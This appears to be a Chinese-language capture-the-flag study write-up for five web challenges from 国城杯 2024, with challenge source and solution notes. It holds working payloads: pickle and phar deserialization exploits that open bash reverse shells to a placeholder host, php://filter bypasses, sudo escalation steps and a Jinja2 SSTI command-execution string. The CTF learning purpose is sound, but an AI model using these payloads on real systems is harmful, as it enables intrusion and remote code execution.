国城杯24

学习一下思路😋

Mountain

无环境,看思路

  1. 扫目录,三个目录,读注释与源码

  2. ./display有提示有.png图片,读取有文件读取,目录穿越/etc/passwd可以,读工作目录/proc/self/cmdline,ban了,/proc/1/cmdline,有python项目(可以看相应包WSGIServer CPython):python/appppp/app.py

  3. 源码审计

    1. 密钥应该可读config.py,session伪造?
    2. 没有什么执行点啊,/admin也没有
    3. 猜测出题人意思,考点应该有session,难道有session反序列化?(这里看./hello返回包会有pickle的base64数据格式)
      1. 审计一下flask源码: pycharm起一个或者vscode起一个,不是源码,读bottle里的request看看(可以读读他的,避免版本),不对bottle也是框架嘻嘻

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
        """ Return the content of a cookie. To read a `Signed Cookie`, the
        `secret` must match the one used to create the cookie (see
        :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
        cookie or wrong signature), return a default value. """
        value = self.cookies.get(key)
        if secret:
        # See BaseResponse.set_cookie for details on signed cookies.
        if value and value.startswith('!') and '?' in value:
        sig, msg = map(tob, value[1:].split('?', 1))
        hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
        if _lscmp(sig, base64.b64encode(hash)):
        dst = pickle.loads(base64.b64decode(msg))
        if dst and dst[0] == key:
        return dst[1]
        return default
        return value or default

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    from bottle import Bottle, route, run, template, request, response
    from config.D0g3_GC import Mountain
    import os
    import re

    messages = []

    @route("/")
    def home():
    return template("index")

    @route("/hello")
    def hello_world():
    try:
    session = request.get_cookie("name", secret=Mountain)
    if not session or session["name"] == "guest":
    session = {"name": "guest"}
    response.set_cookie("name", session, secret=Mountain)

    return template("guest", name=session["name"]) if session["name"] == "admin" else None

    except:
    return "hacker!!! I've caught you"

    # 单纯返回文件内容
    @route("/display")
    def get_image():
    photo = request.query.get('photo')

    if photo is None:
    return template('display')

    if re.search("^../|environ|self", photo):
    return "Hacker!!! I'll catch you no matter what you do!!!"

    requested_path = os.path.join(os.getcwd(), "picture", photo)

    try:
    if photo.endswith('.png'):
    default_png_path = "/appppp/picture/"
    pngrequested_path = default_png_path + photo

    with open(pngrequested_path, 'rb') as f:
    tfile = f.read()

    response.content_type = 'image/png'
    else:
    with open(requested_path) as f:
    tfile = f.read()
    except Exception as e:
    return "you have some errors, continue to try again"

    return tfile

    @route("/admin")
    def admin():
    session = request.get_cookie("name", secret=Mountain)

    if session and session["name"] == "admin":
    return template("administator", messages=messages)
    else:
    return "No permission!!!!"

    if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8089)
  4. 解题

    1. 拿secretkey,读/appppp/config/D0g3_GC.py
    2. pycharm一个服务拿而已flask的cookie,模仿生成
      1. 放入name,发送即可"!yy/92kdpkjv1hVsC1Ja/yEUD6qowd3HNgdFsEIPhV8M=?gAWVbwAAAAAAAABdlCiMBG5hbWWUfZRoAYwIYnVpbHRpbnOUjARldmFslJOUjENfX2ltcG9ydF9fKCdvcycpLnN5c3RlbSgnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC94eHgveCAwPiYxIicplIWUUpRzZS4="
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    from bottle import Bottle, route, run, template, request, response
    import os

    Mountain="M0UNTA1ND0G3GCYYDSP0EM5S20I314Y0UARE50SMAR7"
    class Evil:
    def __reduce__(self):
    return (eval, ("""__import__('os').system('bash -c "bash -i >& /dev/tcp/xxx/x 0>&1"')""",))

    @route("/hello")
    def hello_world():
    try:
    session = {"name": Evil()}
    response.set_cookie("name", session, secret=Mountain)
    return "ok"
    except:
    return "hacker!!! I've caught you"

    if __name__ == "__main__":
    run(host="0.0.0.0", port=5001)

signal

signal env

  1. docker build -t signal .
  2. docker run -d -p 5000:80 --name signal-app signal

signal 分析

  1. 扫目录,admin.php StoredAccounts.php,.index.php.swp(这里没有扫出来wc) – bsgm?给的源码里根本没有备份文件,不管了

    1. 有用户guest:MyF3iend
  2. 读文件

    1. /guest.php?path=php://filter/read=convert.base64-encode/resource=index.php 被过滤了,emm,推测一下后面使用的是include

    2. /guest.php?path=php://filter/resource=index.php ok,因该是base64被过滤了

      1. idea1: 准确是base, convert, rot被过滤了,似乎不行,wp用到二次url编码,emm,不懂,蹲一下/guest.php?path=php://filter/read=%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=/var/www/html/index.php,这里的/var/www/html可以读出来
      2. idea2: filter-chain读文件?这里似乎也是可以的,等下读一下
      3. idea3: filter-chain直接rce?似乎也是可以的
      4. 读文件
        1. /tmp/hello.php
        2. index.php
        3. StoredAccounts.php
        4. admin.php
      5. 贴一下关键的代码
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      // 只有admin.php是关键的
      <?php
      session_start();
      error_reporting(0);

      if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
      $_SESSION['error'] = 'Please fill in the username and password';
      header("Location: index.php");
      exit();
      }

      $url = $_POST['url'];
      $error_message = '';
      $page_content = '';

      if (isset($url)) {
      if (!preg_match('/^https:\/\//', $url)) {
      $error_message = 'Invalid URL, only https allowed';
      } else {
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_URL, $url);
      curl_setopt($ch, CURLOPT_HEADER, 0);
      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      $page_content = curl_exec($ch);
      if ($page_content === false) {
      $error_message = 'Failed to fetch the URL content';
      }
      curl_close($ch);
      }
      }
      ?>
      <?php if (!empty($page_content)) : ?>
      <div class='content'>
      <?= nl2br(htmlspecialchars($page_content)); ?>
      </div>
      <?php endif; ?>
  3. payload思维

    1. curl ssrf,会回显相应的内容
    2. 由于允许一次跳转,那https不是问题,但是问题是https(ssl 55)
    3. sstf不太熟练,找找资料
      1. [https://xz.aliyun.com/news/10663]
      2. 其中fastcgi和php-fpm,似乎有rce,可能有用,[https://www.freebuf.com/articles/web/263342.html]
      3. 具体实现看官方题解复现一波嘻嘻,突然很懒[https://xz.aliyun.com/news/16077]

图片查看器

图片查看器 env

  1. docker build -t photo_checker .
  2. docker run -d -p 5000:80 --name photo_checker photo_checker

图片查看器分析

  1. hI3t.php

  2. 怎么读文件呢?

    1. 测信道试试,需要php:filter,真可以
    2. 读文件
      1. hI3t.php: python3 filters_chain_oracle_exploit.py --target http://localhost:5000/chal13nge.php --file hI3t.php --parameter image_path

        1
        2
        PD9waHAgLy9nbyB4QDEucGhw
        b'<?php //go x@1.php'
      2. x@1.php,再读chal13nge.php(有问题,filter-chain读取有限制)

        1. phar反序列化直接到backdoor执行
        2. 直接打phar就好了,反正无视php://filter/
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56
        57
        58
        59
        <?php
        highlight_file(__FILE__);

        //以下是class.php文件内容:
        class backdoor
        {
        public $cmd;

        // 命令执行
        function __destruct()
        {
        $cmd = $this->cmd;
        system($cmd);
        }
        }

        class B
        {
        public $name;

        function __construct($name)
        {
        $this->name = $name;
        }

        // __toString()
        function greet()
        {
        echo "<h3>hello " . $this->name . "</h3><br>";
        }

        function __destruct()
        {
        echo "<a href='chal13nge.php' class='link-button'>欢迎来到挑战,点击挑战</a><br>";
        echo "<!--There's something in the hI3t.php-->";
        }
        }
        //主要文件内容部分源码:
        //
        //<?php
        //error_reporting(0);
        //include "class.php";
        //
        //if (isset($_POST['image_path'])) {
        // $image_path = $_POST['image_path'];
        // echo "The owner ID of the file is: ";
        // echo fileowner($image_path) . "<br><br>";
        // echo "文件信息如下:" . "<br>";
        // $m = getimagesize($image_path);
        // if ($m) {
        // echo "宽度: " . $m[0] . " 像素<br>";
        // echo "高度: " . $m[1] . " 像素<br>";
        // echo "类型: " . $m[2] . "<br>";
        // echo "HTML 属性: " . $m[3] . "<br>";
        // echo "MIME 类型: " . $m['mime'] . "<br>";
        // } else {
        // echo "无法获取图像信息,请确保文件为有效的图像格式。";
        // }
        //}
  3. 打phar:phar.php

    1. 进入后台没权限,emm
    2. suid不行,用sudo吧,有可以免密的脚本,可以传脚本
      1. S1: echo "cat /root/flag" > /tmp/run.sh
      2. S2: 给权限: chmod 777 /tmp/run.sh
      3. S3: sudo /tmp/rootscripts/check.sh "/tmp"运行一下拿到flag
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    <?php

    //反序列化payload构造
    class backdoor
    {
    public $cmd;
    public function __construct()
    {
    // 反弹shell
    $this->cmd="bash -c 'bash -i >& /dev/tcp/xxx/xxx 0>&1'";
    }
    }

    // @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    //设置stub,GIF89a可以改成其他的字段,绕过文件头检验,但必须以 __HALT_COMPILER(); ?\> 结尾
    // $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?\>");
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    //将反序列化的对象放入该文件中
    $o = new backdoor();
    $phar->setMetadata($o);

    //phar本质上是个压缩包,所以要添加压缩的文件和文件内容
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();

    // 重命名为gif即可
    // system("mv phar.phar phar.gif");
    // system("cp phar.gif /home/kc1zs4/Code/CTF/");
    system("mv phar.phar phar.png");
    system("cp phar.png /home/kc1zs4/Code/CTF/");
    echo $o->cmd;
    // 最后运行命令: php -d phar.readonly=0 phar.php
    ?>

n0ob_un4er

n0ob_un4er env

n0ob_un4er 分析

  1. 给了index.php

    1. $SECRET是假的,要读文件,后伪造就成了,要读waf.php和readflag?
      1. php:filter可以的
      2. filter-chain读不到文件,这里目录穿越不行?
      3. 直接打rce可以吗
    2. 这里如果可以打phar其实也可以直接过,但是没有得上传,是否可以直接传网络流?[https://www.cnblogs.com/zpchcbd/p/17368982.html]有这种操作
      1. 有点sad,data被过滤了,emm
      2. 看题解嘻嘻
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    <?php
    $SECRET = `/readsecret`;
    include "waf.php";

    class User {
    public $role;
    function __construct($role) {
    $this->role = $role;
    }
    }
    class Admin{

    public $code;
    function __construct($code) {
    $this->code = $code;
    }

    // admin代码执行
    function __destruct() {
    echo "Admin can play everything!";
    eval($this->code);
    }
    }

    function game($filename) {

    if (!empty($filename)) {

    // 这里有waf.php的, copy可以filter-chain的
    if (waf($filename) && @copy($filename , "/tmp/tmp.tmp")) {
    echo "Well done!";
    } else {
    echo "Copy failed.";
    }
    } else {
    echo "User can play copy game.";
    }
    }

    function set_session(){
    // 普通的设置是普通的user,这里可以有SECRET可以伪造吗
    global $SECRET;
    $data = serialize(new User("user"));
    $hmac = hash_hmac("sha256", $data, $SECRET); // 类似于签名?
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
    }

    function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2);

    // 可以伪造的话就没有问题
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac) || !hash_equals(hash_hmac("sha256", $data, $SECRET), $hmac)) {
    die("hacker!");
    }

    $data = unserialize($data); // 这里就会生成对象了阿
    if ( $data->role === "user" ){

    // 如果是user,则game
    game($_GET["filename"]);

    }else if($data->role === "admin"){

    // GET传入code
    return new Admin($_GET['code']);

    }
    return 0;
    }

    if (!isset($_COOKIE["session-data"])) {
    set_session();
    highlight_file(__FILE__);
    }else{
    highlight_file(__FILE__);
    check_session();
    }

n0ob_un4er 复现

官方题解

  1. 分析还是很正常的,但是这里的waf是把外部的输入都ban掉了,这里需要找到一个内部可控的文件来利用

  2. 可控文件有日志文件,session文件

    1. php版本为7.2,这个版本就算不开启session,只要上传了文件,并且在cookie传入了PHPSESSID,也会生成临时的session文件
    2. 这里没有ban掉../但/etc/passwd没法读,怀疑是设置了open_basedir,所以只有session文件了(在/tmp下生成部分内容可控的sess_<sessionid>文件)
    3. 总体步骤:上传一个文件,并在session临时文件中写入编码后的phar文件,然后用filter伪协议将phar文件还原写到/tmp/tmp.tmp中,最后用phar伪协议解析
  3. 解决问题1:写入phar文件: SV

    1. 变换为base64编码,然后读取的时候可以直接用伪协议就ok

    2. 这里的思想就是编码,因为有一些二进制字符无法(utf-8)直接传输,这里也可以是

      1
      2
      convert.iconv.utf-8.utf-16be 和 convert.iconv.utf-16be.utf-8
      convert.quoted-printable-encode 和 convert.quoted-printable-decode
  4. 解决问题2:生成phar文件: SV

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    <?php
    highlight_file(__FILE__);
    class Admin{
    public $code;
    }
    @unlink('test.phar');
    $phar=new Phar('test.phar');
    $phar->startBuffering();
    $phar->setStub('<?php __HALT_COMPILER(); ?>');
    $o=new Admin();
    $o ->code="system('/readflag');";
    $phar->setMetadata($o);
    $phar->addFromString("test.txt","test");
    $phar->stopBuffering();
    ?>
    // bash: cat test.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
    // 也可以直接用python脚本
  5. 解决问题3:session临时文件的利用: SV

    1. 这里的本意是要把phar内容写入session临时文件,但是session文件前后有数据,需要去除,利用php的base64解码特性: 合法字符只有A-Za-z0-9\/\=\+,其他字符会自动被忽略,如何去除,可以考虑多次base64解码(适用php://filter来实现)
      1. pic
      2. 需要了解base64的编码规则
        1. 编码:每3个字节(三个字符24bits)映射为4(6bits/char)个字符
          1. 如果只有一个字节: 补上4个0加上两个=
          2. 如果是两字节: 补上2个0加上一个=
          3. 这里补上的0并不影响解码,只是为了保证编码的字符数是6的倍数
        2. 解码: 先取出尾部的=,每4个字符(6bits/char)映射为3个(8bits/char)
        3. 解码中间不能出现=号
      3. 现在要清除数据
        1. 先明确一下目标
          1. 使得变为非法字符,然后再次(可以是n次)base64解码,使得他们消失
        2. 去除upload_progress_前缀,

ez_galllery

ez_galllery env

  1. docker run --name ez_gallery -d -p 5000:6543 sketchpl4ne/gcb2024:ez_gallery_img

ez_galllery 分析

  1. 标头看出是python框架

  2. 没有其他信息,弱密码admin:123456

    1. 扫目录

      1
      2
      3
      4
      [15:47:12] 403 -    12B - /home
      [15:47:13] 403 - 12B - /info
      [15:47:14] 200 - 5KB - /login
      [15:47:18] 403 - 12B - /shell
    2. shell可访问?先读个文件

      1. /info?file=/proc/self/cmdline: python3 app.py
      2. 置空报错进debug?似乎不行,有对错误进行处理
      3. 看app.py: /info?file=../../app.py
        1. 有没见过的东西: pyramid,是啥
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      99
      100
      101
      102
      103
      104
      105
      106
      107
      108
      109
      110
      111
      112
      113
      114
      115
      116
      117
      118
      119
      120
      121
      122
      123
      124
      125
      126
      127
      import jinja2
      from pyramid.config import Configurator
      from pyramid.httpexceptions import HTTPFound
      from pyramid.response import Response
      from pyramid.session import SignedCookieSessionFactory
      from wsgiref.simple_server import make_server
      from Captcha import captcha_image_view, captcha_store
      import re
      import os

      class User:
      def __init__(self, username, password):
      self.username = username
      self.password = password

      users = {"admin": User("admin", "123456")}

      def root_view(request):
      # 重定向到 /login
      return HTTPFound(location='/login')

      def info_view(request):
      # 查看细节内容
      if request.session.get('username') != 'admin':
      return Response("请先登录", status=403)

      file_name = request.params.get('file')
      # 文件名和后缀分开
      file_base, file_extension = os.path.splitext(file_name)
      if file_name:
      # 有一个新目录
      file_path = os.path.join('/app/static/details/', file_name)
      try:
      with open(file_path, 'r', encoding='utf-8') as f:
      content = f.read()
      print(content)
      except FileNotFoundError:
      content = "文件未找到。"
      else:
      content = "未提供文件名。"

      return {'file_name': file_name, 'content': content, 'file_base': file_base}

      def home_view(request):
      # 主路由
      if request.session.get('username') != 'admin':
      return Response("请先登录", status=403)

      detailtxt = os.listdir('/app/static/details/') # 可列目录
      picture_list = [i[:i.index('.')] for i in detailtxt]
      file_contents = {}
      for picture in picture_list:
      with open(f"/app/static/details/{picture}.txt", "r", encoding='utf-8') as f:
      file_contents[picture] = f.read(80)

      return {'picture_list': picture_list, 'file_contents': file_contents}

      def login_view(request):
      if request.method == 'POST':
      username = request.POST.get('username')
      password = request.POST.get('password')
      user_captcha = request.POST.get('captcha', '').upper()

      if user_captcha != captcha_store.get('captcha_text', ''):
      return Response("验证码错误,请重试。")
      user = users.get(username)
      if user and user.password == password:
      request.session['username'] = username
      return Response("登录成功!&amp;lt;a href='/home'&amp;gt;点击进入主页&amp;lt;/a&amp;gt;")
      else:
      return Response("用户名或密码错误。")
      return {}

      def shell_view(request):
      if request.session.get('username') != 'admin':
      return Response("请先登录", status=403)

      # 打ssti
      expression = request.GET.get('shellcmd', '')
      # 过滤length, count, ., 数字, %
      blacklist_patterns = [r'.*length.*',r'.*count.*',r'.*[0-9].*',r'.*\..*',r'.*soft.*',r'.*%.*']

      if any(re.search(pattern, expression) for pattern in blacklist_patterns):
      # 也没有报错阿老弟
      return Response('wafwafwaf')
      try:
      result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(expression).render({"request": request})
      if result != None:
      return Response('success')
      else
      return Response('error')
      except Exception as e:
      return Response('error')


      def main():
      session_factory = SignedCookieSessionFactory('secret_key')
      with Configurator(session_factory=session_factory) as config:
      config.include('pyramid_chameleon') # 添加渲染模板
      config.add_static_view(name='static', path='/app/static')
      config.set_default_permission('view') # 设置默认权限为view

      # 注册路由
      config.add_route('root', '/')
      config.add_route('captcha', '/captcha')
      config.add_route('home', '/home')
      config.add_route('info', '/info')
      config.add_route('login', '/login')
      config.add_route('shell', '/shell')

      # 注册视图
      config.add_view(root_view, route_name='root')
      config.add_view(captcha_image_view, route_name='captcha')
      config.add_view(home_view, route_name='home', renderer='/app/templates/home.pt', permission='view')
      config.add_view(info_view, route_name='info', renderer='/app/templates/details.pt', permission='view')
      config.add_view(login_view, route_name='login', renderer='/app/templates/login.pt')
      config.add_view(shell_view, route_name='shell', renderer='string', permission='view')

      config.scan()
      app = config.make_wsgi_app()
      return app


      if __name__ == "__main__":
      app = main()
      server = make_server('0.0.0.0', 6543, app)
      server.serve_forever()
  3. 思路其实很多的

    1. 钩子回显: 官方题解: flag{jasper_wanna_two_girlfriend}: "shellcmd": "{{cycler['__init__']['__globals__']['__builtins__']['exec'](\"getattr(request,'add_response_callback')(lambda request,response:setattr(response, 'text', getattr(getattr(__import__('os'),'popen')('/readflag'),'read')()))\",{'request': request})}}"
    2. 带外(ban了.和数字难绕过)
    3. 写入文件回显: -rwxr-xr-x 1 root root 4659 Dec 13 21:54 /app/app.py app.py没有权限
    4. 盲注来获取信息: bash时间盲注: [https://xz.aliyun.com/news/16077],不过这里有个登录问题,时间上有点难崩

Summary

  1. Mountain
    • 识别不同框架特征
    • 反序列化数据格式辨别(base64)
    1. 多多观察,返回包,session等等,攻击点泛化
  2. signal
    • 备份文件,文件泄露补充
    • filter-chain,rce和读文件再熟悉一下
    • 二次编码原理
    • ssrf全面一些
    1. 还是不能太依赖dirsearch 555
  3. 图片查看器
    • filter-chain,rce和读文件再熟悉一下
    • phar反序列化的细节和绕过
    • php://filter
    • 合理推测后台检测方式和函数
  4. n0ob_un4er
    1. 不愧是少解题目
    • 输入源可以从临时文件,从具体的php版本下session的存储入手(不要依靠刻板印象): 不开启session会在上传文件的时候生成session临时文件,搜索: php session file
      1. 其实是session.upload_progress这个东西的缘故source
    • php session机制的认识
  5. ez_gallery
    • 弱密码积累一下
    • pipx+fenjing

Ref

  1. [https://eddiemurphy89.github.io/2024/12/09/%E5%9B%BD%E5%9F%8E%E6%9D%AF%E5%88%9D%E8%B5%9B2024-WEB%E5%A4%8D%E7%8E%B0/]
  2. [https://z3r4y.blog.csdn.net/article/details/144701835]
  3. 一些docker和题解